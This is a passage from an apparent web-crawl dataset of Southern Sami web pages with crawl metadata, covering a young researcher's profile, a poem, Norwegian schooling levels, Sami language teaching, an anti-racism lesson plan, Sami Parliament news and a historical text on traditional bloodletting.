dijpedh.\nDåeriesmoerem lea, daalhkesh maehtieh aaj dah tjarres cellide kråahpesne tsøøpkedh.\nJannie Staffansson\nDïhte mijjien barkoe, dotkedh jih dotkemem evtiedidh.\nLæjhkan mejtie Jannie dotkijedåhkesne barka, dïhte oktegh daennie prosjeektesne. Molekylh evtiedidh jih hammoedidh.\nOktegh dotkemetjïehtjelisnie\n«Manne leam sosijales almetje jih lyjhkem årrodh gusnie jijnjh almetjh, labesne manne oktegh. Mohte manne ussjedamme, jis edtja aath guarkedh dle tjuara maahtoem molekyledaltesne tjøøngkedh»\nDïhte soptseste øøvre tjetshekhke lea, jih veeljeme daate darjodh ihke jijtjem maahtoenealkoem søølhkehtidh.\nOrgansik kemiste\nJannie lea golme jaepieh byjresekemije jih akte jaepie organisk kemije Göteborgesne lohkeme. Gosse riejries maasterine, mij lea gøøkte jaepieh, dle organisk kemiste sjædta. Dellie sæjhta vielie klimaate kemijese åadtjodh, jih saemien sibriedahken vøøste barkedh.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.nrk.no\/sapmi\/noere-aarjelsaemien-dotkije-1.12108933","date":"2019-09-15T17:19:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514571651.9\/warc\/CC-MAIN-20190915155225-20190915181225-00304.warc.gz","language":"sma","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999890327453613}","num_words":188,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Martha Jåma dam diktem tjaaleme. Martha Jåma Sveerjesne reakasovvi jaepien 1926 jïh sealadi jaepien 2016. Dïhte lohkehtæjjine barki dovne Sveerjesne jïh Nöörjesne. Dikte Aellieh maaneme lea gærjesne Åarjel-saemien 6. Govhtede gærja.\nAellieh maaneme\nAellieh maaneme\nman guhkiem gaatoeh.\nDov bovtsh gaarvanetieh.\nGie vuajna\nmejtie dov aaltoe guadteme?\nIh vielie mijjen mievhkies\ngielem soptsesth.\nMijjen vuekieh dutnjien\nammes sjidtieh.\nMohte annje lea dålle\ngåetien aernesne buelieminie.\nAnnje gujht bovtse\njaevriebealan geadtan\ntjåanghkene.\nAnnje gujht maaneme\nbaalkam gaavnh.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172396\/topic:1:182173\/topic:1:185454\/resource:1:169703","date":"2019-12-06T21:36:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540490972.13\/warc\/CC-MAIN-20191206200121-20191206224121-00167.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":73,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gå til hovedinnhold\n\n\nJåa1\nLïerehtimmie lea skuvlesne jïh lea dovne ektiefaagh (v.g. nöörjen, matematihke jïh englaantengïele) jïh programmefaagh dov ööhpehtimmieprogrammeste.\nStudijeryöjreden\nBarkoefaageles\n\n\n- Lïerehtimmie lea jeenjemasth teoretihkeles.\n- Doh jeenjemes skuvletæjmoeh åtnasuvvieh ektiefaagide.\n- Dov leah göökte jallh golme programmefaagh (ij leah faamosne studijespesialiseeremisnie), jïh muvhtine ööhpehtimmieprogrammijste maahtah programmefaagh veeljedh Jåa1-daltesisnie.li>\n\n\n- Jåa1 edtja dutnjien maadthlïerehtimmiem vedtedh barkoeprosessine, teknihkine jïh dïrreginie mah leah sïejhme dov ööhpehtimmieprogrammese.\n- Doh jeenjemes tæjmoeh åtnasuvvieh programmefaagide.\n- Dov aaj faage barkoefaageles goerehtimmie dejnie nuepine sjyöhtehke learoefaagh learoesïeltine pryövedh.\nJåa2\nJåa2-daltesisnie datne veeljh dej programmesuerkiej gaskem mah gååvnesieh dan ööhpehtimmieprogrammen sisnjelen maam Jåa1-daltesisnie veeljih.\n\n\nStudijeryöjreden\n\n\nBarkoefaageles\n\n\n- Lissine ektiefaagide, datne ovmessie programmefaagi gaskem veeljh vihties njoelkedassi mietie.\n- Lïerehtimmie lea skuvlesne.\n- Datne programmesuerkiem veeljh jïh dan åvteste nuepiem åadtjoeh jïjtjemdh vielie spesialiseeredh.\n- Dejtie jeanatjommesidie lïerehtimmie lea skuvlesne.\n- Datne jienebh tæjmoeh faagese barkoefaageles goerehtæmman åadtjoeh goh Jåa1-daltesisnie.\n- Aaj naan gille sjïerelaajroeh gååvnesieh gusnie Jåa1-daltesen mænngan lïerehtimmiem sïeltesne åadtjoeh (3jaepieh)\n\n\nJåa3 \/ lïerehtimmie sïeltesne\nJåa3 bigkie dan Jåa2-daltesasse maam veedtsih, jïh lïerehtimmie lea skuvlesne jallh sïeltesne.\nStudijeryöjreden\nBarkoefaageles\n\n\n- Datne dejnie programmesuerkine jåarhkah maam veeljih Jåa2-daltesisnie, jïh guhkiebasse goerehtimmiem programmefaagine jallh orre programmefaagh veeljh vihties njoelkedassi mietie.\n- Lïerehtimmie lea skuvlesne.\n- Jååhkesjamme væhnastimmine Jåa3-daltesistie, maahtah jollebe ööhpehtimmiem jïlleskuvlesne jïh universiteetesne syökedh.\n\n\n- Datne programmesuerkiej gaskem veeljh mah bigkieh don Jåa2-daltesasse maam veedtsih, jïh jïjtjemdh enn vielie spesialiseerh.\n- Doh jeenjemes programmesuerkieh leah Jåa3-daltesisnie learoefaagh. Dellie lïerehtimmiem lïerehtæjjine åadtjoeh aktene sïeltesne jïh learoetïjje lea 2 jaepieh.\n- Såemies programmesuerkieh vadtasuvvieh Jåa3-daltesisnie goh lïerehtimmie skuvlesne mij 1 jaepiem ryöhkoe.\n- Naan gille barkoefaageles laajroeh Jåa3-daltesem skuvlesne utnieh åvtelen orrijieh 1,5 jallh 2 jaepiej learoetïjjine sïeltesne.\nBijjieguvvie abpe lïerehtimmielaajroen bijjelen.\nGuktie jåarhkelïerehtimmie lea bæjjese bigkesovveme vååjnoe bijjieguvviekaarhtesne\n- Viskes: Lïerehtimmie lea skuvlesne\n- Kruana: Lïerehtimmie lea sïeltesne\n- Plaave: Lïerehtimmie lea illesovveme jïh eksamene lea stååresjamme, jïh dov lea maahtoe barkosne aelkedh jallh jollebe ööhpehtimmiem ohtsedh.\nVelg kursretning\n- Studieforberedende\n- Yrkesfaglig\nStudieforberedende opplæring fører fram til studiekompetanse\nVideregående trinn 1 i skole\nVideregående trinn 2 i skole\nVideregående trinn 3 i skole\nHøyere utdanning ved høyskole\/universitet\nPåbygging til generell studiekompetanse\nYrkesfaglig opplæring fører fram til yrkeskompetanse (med eller uten fag-\/svennebrev)\nYrkesfaglig opplæring fører fram til yrkeskompetanse (med eller uten fag-\/svennebrev)\nVideregående trinn 2 i skole\nVelg VG3 retning\nVideregående trinn 3 i skole\nPåbygging til generell studiekompetanse\nYrke og arbeidsliv eller fagskoleutdanning\nIngen fylker har tilleggsinformasjon til dette punktet\nVi bruker informasjonskapsler\nVåre nettsider bruker informasjonskapsler (cookies). Les mer om hvordan vi bruker dem i vår personvernerklæring.\nPersonvernerklæring\nVelg fylket ditt!\nIngen fylker har tilleggsinformasjon til dette punktet","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/hva-er-vg1-vg2-og-vg3\/a\/034976","date":"2023-03-20T09:26:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943471.24\/warc\/CC-MAIN-20230320083513-20230320113513-00400.warc.gz","language":"sma","language_score":0.9998412132,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998412132263184}","num_words":390,"character_repetition_ratio":0.1,"word_repetition_ratio":0.005,"special_characters_ratio":0.153,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nGïele goh nuepie\nGïelen gellie dïrregh, juktie mijjieh maehtebe jiehtedh maam sïjhtebe. Juktie væjkalåbpoe gïeline sjïdtedh, tjoerebe jïjnjem lohkedh, tjaeledh jïh gaskesadtedh.\nGïele-vaarjelimmie\nSaemien-gïele annje håvhtadamme. Guktie maehtebe gïelem vaarjelidh jïh evtiedidh? Maam maehtebe darjodh?\nGïele-lutnjeme\nGuktie maehtebe saemien gïelide lutnjedh? Maam maehtebe darjodh?\nLæringsressurser\nGïele-lutnjeme","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:e0205b0d-120d-43c0-a41a-b473ef0e3509\/topic:a690f7fd-425f-425c-b81e-34114f3bfb59\/","date":"2023-06-02T12:20:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648635.78\/warc\/CC-MAIN-20230602104352-20230602134352-00548.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":50,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Latest news\n- Raeriestimmieh darjoemidie Saemiej åålmegebiejjien gaavhtan\n- Biejjielåhkoe 2024\n- Gïelevåhkoe 2023\n- Saemien kultuvregoerkese maanagïertesne jïh skuvlesne\n- Raeriestimmieh darjoemidie Saemiej åålmegebiejjien gaavhtan\n- Biejjielåhkoe 2023\n- Jåvlebiejjielåhkoe 2022\n- Maanagïertebiejjie 2022 - Vïenevoete – Datne jïh manne\n- Lahkoe biejjine!\nSpråkbadsbarnehager\nSpråkbadsbarnehager\nGuktie maanagïerth maehtieh maanaj saemiengïelem evtiedidh gosse saemiengïele ij leah maanaj aarkebiejjiegïelem gåetesne? Jon Todal, professore sosiolingvistihkesne, Saemien jïlleskuvlesne, daennie microlåhkosne buerkeste guktie maanagïerth maehtieh göökte ovmessie barkoevuekieh nuhtjedh gosse edtjieh saemiengïelem ööhpehtidh maanide mah eah gåetesne saemesth.\nHvordan kan barnehagen støtte samisk språkutvikling hos barn som ikke har samisk som hjemmespråk? Jon Todal, professor i sosiolingvistikk ved Samisk høgskole presenterer i denne mikroleksjonen to aktuelle modeller for barnehager som skal formidle samisk språk til barn som ikke har samisk som hjemmespråk.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/sma\/giele-lierehtimmie\/maanagierte\/sprakbadsbarnehager","date":"2024-02-28T06:58:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00489.warc.gz","language":"sma","language_score":0.9966489077,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.996648907661438}","num_words":112,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuartesjh YouTube-videjovem Prisca Bruno Massao naeliedehtemen jïh ööhpehtimmien (ca. 45 min) bïjrejïh moenh mejtie edtja goh aalkoe årrodh boelhkese jallh mejtie buerebh sïjhth (bietskieh) PowerPoint-åehpiedehtiemistie nuhtjedh jïh jïjtjh lahtestidh.\nNaeliedehteme jïh ööhpehtimmie\nBarkoeboelhken bïjre\nUlmie\n- Daajroe sisvegen bïjre daajehtsisnie naeliedehteme\n- Voerkesvoete guktie naeliedehteme viehkehte sosijaale joekehtsvoeth ööhpehtimmiesysteemesne jïh sïejhme seabradahkesne tjåadtjoehtidh\n- Voerkesvoete dan bïjre mij daerpies naeliedehtemem ööhpehtimmesne vuastalidh.\nDaan soejkesjen våarome lea Prisca Bruno Massaon håalome rasialiseeremen jïh ööhpehtimmien bïjre.\nDaam soejkesjem evtiedamme våaroemisnie voestesamanuensise Prisca Bruno Massaon faageseminaaresne Dembra LU:ine Innlandet Jïlleskuvlesne.\n- Tïjje:\n- 90 - 150 min\n- Dåehkien stoeredahke:\n- 15 - 35\nRyöjredimmie\nDaajehtshGïehtjh gaajhkh\nJuvnehtamme vierhtieh\nTjïrrehtimmie\nAalkoe\nVuesehth videjovem Prisca Bruno Massao naeliedehtemen jïh ööhpehtimmien bïjre (medtie 45 min), jallh nuhtjh PowerPoint-åehpiedehtemem jïjtjedh lahtestimmiejgujmie.\nPowerpoint \"Rasialiseringsprosesser og utdanning\", Prisca Bruno Massao\nVielie gyhtjelassh aalkoen mænngan\nÅvtelen gaajhkesh jïjtjemse dåehkide joekedieh, birrh dejtie voestegh akti akti ussjedidh\n- maam sjïerelaakan sijhtieh meatan vaeltedh Massaoen aalkoste\n- mah gyhtjelassh utnieh\n- mejtie sisvege daajehtsisnie «naeliedehteme» lea nuekie tjïelke sjïdteme (vuesehth maaje barkoedefinisjovnese lissietjaalegisnie)\nDigkiedimmiegyhtjelassh\nBaajh gaajhkesidie jïjtjemse joekedidh unnebe dåehkide jïh birrh dejtie aktem jallh jienebh dejstie gyhtjelassijste aarhkesne «Naeliedehteme jïh ööhpehtimmie – Lissietjaalege Gyhtjelassh dåehkiebarkose», digkiedidh mah leah teemaj bïjre\n- skuvlen praksise\n- skuvlen daajroereereme\n- lohkehtæjjan maahtoe\n- lohkehtæjjaööhpehtimmien dïedte\nRasialisering og utdanning - vedlegg, spørsmål til gruppearbeid\nRasialisering og utdanning - vedlegg, spørsmål til gruppearbeid\nMinngemes ussjedadteme\n- Datne jïjtje damth vuesiehtimmieh jïjtse jallh mubpiej plearoeh dååjresidie goh doh vuesiehtimmieh Massao buakta?\n- Naeliedehteme tjoelen tjïrrh: Lohkh jïh digkedh «Digkiedimmielaavenjasse minngemes ussjedadtemasse» lissietjaalegisnie.\nSjyöhtehke lidteratuvre\nBangstad, Sindre (2017): «Rasebegrepets fortid og nåtid», Norsk sosiologisk tidsskrift 03\/2017 (Volum 1) https:\/\/www.idunn.no\/norsk_sosiologisk_tidsskrift\/2017\/03\/rasebegrepets_fortid_og_naatid\nGullestad, M. (2002): Det norske sett med nye øyne: Kritisk analyse av norsk innvandringsdebatt. Oslo, Universitetsforlaget\nRogstad, J. og Midtbøen, A. (2010) «Den utdannede, den drepte og den glemte: Mot en ny forståelse av rasisme og diskriminering», i Sosiologisk tidsskrift 18(1): 31–52","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/undervisningsopplegg\/naeliedehteme-jih-oeoehpehtimmie","date":"2024-02-23T04:06:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474360.86\/warc\/CC-MAIN-20240223021632-20240223051632-00477.warc.gz","language":"sma","language_score":0.999861598,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998615980148315}","num_words":280,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieGiellaguovddáš Návutnii\nNávuona suohkan lea ohcan ásahit sámi giellaguovddáža ja Sámediggeráđđi lea juolludan sidjiide álggahandoarjaga. Giellaguovddáš galgá ásahuvvot 2017 jagi mielde ja doarjja lea addon lágidit sámegielkurssaid ja ásahit sámegielarenaid.\n-\nSaernieSaemiedigkien kultuvre- jïh gaarsjelimmiestipende\nSaemiedigkieraerie Saemiedigkien kultuvre- jïh gaarsjelimmiestipendem vadta noeride Rakel Birkeli, Jan Artur Reinås, Anna Linnea Fjellheim Varsi jïh Elle Marie Hætta Isaksen. Stipende lea 25 stoerretjuetie kråvnah.\n-\nSaernieMajesteete Gånka saemiej åålmegebiejjiem aavode Tråantesne\nAkte åajvoeh heevehtimmie sjædta aktine gamte jïh gellielaaketje sisveginie. Heevehtimmievuasahtalleme Jielemen Aavoe, Guevtelh mov sisnie, teaterevuasahtalleme Elsa Laula jïh golme biejjieh almetjefeeste Tåarjesne leah ajve akte bielie sisvegistie.\n-\nSaernieSametingets plenumsmøte 6. - 9.12.16\nSametingets plenumsmøte starter tirsdag 6. desember kl. 09.00 og avsluttes fredag 9. desember innen kl. 15.00.\nHer er sakslisten: http:\/\/www.sametinget.no\/Kalender\/Plenum\n-\nSaernieGïehtelimsdåarjoem jåarhka\nSaemiedigkie jïh guejmieh duedtierååresjimmine leah seamadamme, jïh latjkoen 2017 mierie lea 7,5 millijovnh kråvnah.\n-\nSaernieSaemiedigkieraerie raereste 1 millijovnh kråvnah læjkodh aerpiedaajrose 2017\n-Aerpiedaajroe lea akte vihkeles bielie saemien kultuvreaerpeste. Daejnie dåarjojne mijjieh hijven prosessh gorredibie gusnie gaajhkesh mah eadtjohkelaakan meatan aktem råållam åadtjoeh laavenjostosne juktie vihtiestidh jïh vaarjelidh saemiej ekti...\n-\nSaernieNænnoes jïh ahkedh gïelebarkoe maanide\n-Mov leah veanhtadimmieh akten varke jïh ållesth guhkiebasse barkoen bïjre Saemien gïelemoenehtsen salkehtimmeste. Reerenasse tjuara barkoem prioriteradidh, saemiedigkiepresidente Aili Keskitalo jeahta. Stoerretjåanghkoe salkehtimmiem gïetede goeven.\n-\nSaernieBidjat fokusa dáruiduhttinpolitihkkii\nSámediggeráđđi háliida bidjat johtui duohtavuođa- ja soabadanproseassaid dáruiduhttinpolitihkas. Bargu ferte čađahuvvot oktasaš ovttasbargun gaskal sámi ja dáža servodaga.\n-\nSaernieSaemesth Maanine\nSaemiedigkie aktem orre gïelekampanjem aalkeme SaemesthMaanine. Kampanjen åssjele lea tjoevkesem bïejedh don teemese gïeleveeljeme maanese, jïh guektien-\/jienebegïelevoete.\nLoga eambbo: http:\/\/www.saemiedigkie.no\/Giele\/Saemesth-Maanine\n-\nSaernieSámi vuoigatvuođa bargu nannejuvvon - Loga sámedikkiráđi bušeahttaárvalusa\n-\nSaernieSeniorstipendem tseegkie saemien tjiehpiedæjjide\nSaemiedigkieraerie jïh Saemien tjiehpiedæjjaraerie sijhtieh aktem lissie seniorstipendem tseegkedh saemien tjiehpiedæjjide.\n-\nSaernieÁsahit seniorstipeandda sámi dáiddáriidda\nSaemiedigkieraerie jïh Saemien tjiehpiedæjjaraerie sijhtieh aktem lissie seniorstipendem tseegkedh saemien tjiehpiedæjjide.\n-\nSaernieSuohkanođastus\nSámediggi bargá árjjalaččat vuhtiiváldit ja nannet sámi álbmoga rivttiid ja dárbbuid suohkanođastusa proseassa oktavuođas.\n-\nSaernieOrreussjedæjjah Gulliegïele-prijsem åadtjoeh\nMáret jïh Inga Márja Steinfjell jïh Kirsi jïh Jan Skoglund Paltto daan jaepien Gulliegïele-prijsem åadtjoeh. Saemiedigkiepresideente Aili Keskitalo jïh tjïelte- jïh orrestimmieministere Jan Tore Sanner vitnijidie prijsine læhkoestieh.\n-\nSaernieSaemiedigkiepresidente guessine mænna Aoetearoese\nRïhkeden 22.b – 30.b. saemiedigkiepresidente Aili Keskitalo guessine mænna maoriji luvnie Aotearoesne (New Zealand). Doh vihkeles teemah daan vaaksjoemasse sijhtieh årrodh doh darjomh mejtie Statoil åtna jïh åtneme Aotearoesne jïh maoriji gïelebar...\n-\nSaernieHistovrijes nuepie ihke saemien gïeli staatuse jïh båetijen aejkie lokngesuvvieh\nSaemiedigkien presidente Aili Keskitalo lea madtjeles dej jïjnjh raeriestimmiejgujmie mejtie Saemien Gïelemoenehtse lea buakteme NOU:sne 2016:18 Vaajmoegïele. Dïhte jeahta daate sæjhta hijven nuepiem vedtedh staatusem lutnjedh saemien gïelese jïh...\n-\nSaernieHilgu luossašiehtadusa Norgga ja Suoma gaskka\nSámedikki dievasčoahkkin hilgu šiehtadusevttohusa Norgga ja Suoma gaskka guolásteami birra Deanučázádagas ja guoskevaš reguleremiin. Šiehtadus rihkku báikki olbmuid guhkesáiggi ja árbevirolaš guolástanvuoigatvuođaid.\n-\nSaernieOrre Saemiedigkiebïevnese båatsoen bïjre\nSaemieh edtjieh stoerre tsevtsemenuepieh utnedh nöörjen båatsoepolitihkesne, daate akte raeriestimmie dennie orre saemiedigkiebïevnesisnie båatsoen bïjre.\n-\nSaernieOrre saemien budsjedtegiehpiedimmijste åevrede\nSaemiedigkiepresidente Aili Keskitalo åevrede jienebh budsjedtegiehpiedimmieh båetieh daan jaepien staatebudsjedtesne. Saemiedigkiepresidente Aili Keskitalo åevrede jienebh budsjedtegiehpiedimmieh båetieh daan jaepien staatebudsjedtesne.\n-\nSaernieSápmi Pridem dåarjohte\nSaemiedigkie Sápmi Pridem dåarjohte mij öörnesåvva Guovdageaidnusne mïetsken 26. – 28.b. 121.000 kråvnajgujmie.\n-\nSaernieGulliegïele: raeresth kandidaath!\nGïeleprijse juakasåvva aajne almetjidie, dåehkide, åårganisasjovnide, siebride jïh institusjovnide mah leah åajvoehlaakan tjaaleldh-, njaalmeldh- jallh jeatjaj barkoej tjïrrh barkeme guktie saemien gïelem evtiedidh. Maahta prijsen beetnegh juekedh...\n-\nSaernieGovlehtimmie: Orre politihke saemien lidteratuvrese\nSaemiedigkieraerie orre politihkem sæjhta juktie saemien lidteratuvrem nænnoestehtedh, jïh daan sjïekenisnie aktem govlehtimmieboelhkem tjïrrehte saemien gærja- jïh lidteratuvresuerkine. Prosesse edtja aktine reektestimmine galhkedh orre saemien lidteratuvrepolitihken bïjre Saemiedigkien stoerretjåanghkose goeven 2016.\n-\nSaernieAerpievuekien jeanoevïnhtsebigkemem vuesiehtidh\nSaemiedigkieraerie 184 400 kråvnah dåårje Sámiid Vuorká-Dávvirat\/ Saemien Våarhkoe RiddoDuottarMuseat Karasjohkesne juktie kuvsjem hööltedh aerpievuekien jeanoevïnhtsebigkemisnie, jïh barkoem vïnhtsebigkeminie vihtiestidh.\n-\nSaernieSámediggi giellaofelažžan\nSámediggi bargá beaivválaččat sámegiela nannet ja ovddidit. Dál háliida Sámediggeráđđi oažžut digaštallama Sámedikki iežas giellageavaheami birra.\n-\nSaernieJienebh åarjelsaemien tjïelth reeremedajvesne vaajtele\nSaemiedigkiepresidente Aili Keskitalo lea laejhtehks ihke Tjïelte- jïh orrestimmiedepartemeente ij sïjhth ohtsemem Aarborten tjïelteste gïetedidh juktie meatan sjïdtedh saemien gïelen reeremedajvesne, åvtelen Saemien gïelemoenehtse lea gaervies so...\n-\nSaernieBeaivváš beetnegh åådtje\nSaemiedigkieraerie raereste 1,2 millijovnh kråvnah dåarjodh Beaivváš Sámi Našunalteahterasse juktie feestevuasahtallemem «The Yoik Consert: Eallin mokta – Jielemen aavoe» tjïrrehtidh heevehtimmesne Tråante 2017.\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.saemiedigkie.no\/","date":"2016-12-07T16:22:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542217.43\/warc\/CC-MAIN-20161202170902-00159-ip-10-31-129-80.ec2.internal.warc.gz","language":"sma","language_score":0.9957811236,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9957811236381531}","num_words":702,"character_repetition_ratio":0.083,"word_repetition_ratio":0.009,"special_characters_ratio":0.138,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fealadimmesne\nLaavenjasse\nLohkh tjaalegem.\nMij tjaalege daate? Buerkesth.\nFealadimmesne\nIm daejrieh man åvteste, men manne tuhtjem luste girtie-sjaljosne tjahkasjidh almetjh vuartasjidh, gosse almetjh vuelkieminie. Aaj vuartasjidh dah leah joekehts. Muvhth skodteminie, prïhtjegem sorhpesteminie jïh beapmoeh soeskeminie. Vååjnoe goh dah gaahtjeminie. Mubpieh gujht daajvetji vaedtsieh: Aaj sjaevehts almetjh vuajnam. Im maehtieh vuejnedh gåabph dah edtjieh vuelkedh, men dah barre leah. Luste aaj girtide vuartasjidh. Frijje domtem gosse daajram aaj maahtam dejgujmie vuelkedh. Maahtam aarebi fealadimmieh måjhtajidh, men aaj båetije fealadimmiej bïjre nïekedem. Ammes jïh åehpies sijjiej bïjre nïekedem gåabph maahtam girtine vuelkedh. Mejtie manne dan jïjnjem vualkeme juktie mov vuelkeme-domtesh girtie-sjaljose veadtaldihkie. Gosse im gåabph akt vuelkieminie dellie maahtam barre girtie-sjaljosne mïnnedh prïhtjh-kåahpem jovkedh - jïh dle voejngestidh mearan jeatjebh skodteminie mov bïjre.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/173139?fag=126960","date":"2017-03-25T07:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188891.62\/warc\/CC-MAIN-20170322212948-00526-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999836683,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999836683273315}","num_words":128,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege lea biehkie tjaalegistie Ånnetji saejrieh jïh vertemen bïjre maam Jonar Thomasson tjaaleme. Daennie biehkesne Jonar Thomasson nihpiedimmien bïjre tjaala.\nNihpere\nSaemieh aaj aerebi provhkin nihpierdidh. Gellien aejkien gosse lin skiemtjejamme jallh vaejviem utnin dle vïenhtin buerebe sjïdtin gosse nihpierdin.\nDam nihperem darjoejin moereste jïh dle dejnie bonhkelin, åeriem raejkiedin jïh dle baajin ånnetji vertedh. Men idtjin sahth magkeres moereste dam nihperem darjoejin. Dam darjoejin bietseste, laedtieh jiehtieh: \"malmfuru\". Destie darjoejin, jis ij lih bist gasngesistie aaj, dam im mujhtieh im doesth jiehtedh. Bietseste gujht. Dïhte lea garre moere, jïh dle vïenhtin raajne lij. Raajnes besteles sampele hov sjïdti gosse nejpine voelin, dam leam aehtjeste govleme.\nGuktie dle dovletje saemieh darjoejin gosse lin tjarki tjoehpedamme jïh tjamki varta? Tjoeverin sih provhkedh sahth maam utnin dah aaj, dïhte mij lij gietskemes gïetese gosse lij daerpies. Saemiej luvnie lij gujht aaj såemies mah dagkerem faamoem meehtin provhkedh vertemem orrijehtedh, men im dan bïjre maam daejrieh.[1]\nBaakoeh\nSaemien\nDaaroen\nnihpere\nredskap for å årelate\nnihpierdidh\nårelate\nnihpierdimmie\nårelating\n- 1«Ånnetji saejrieh jïh vertemen bïjre». Saemien sijte Thomasson, Jonar. Saemien sijte. 1991.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\n- Kjernestoff\nGarre vertemeKjernestoff\nSïejpem 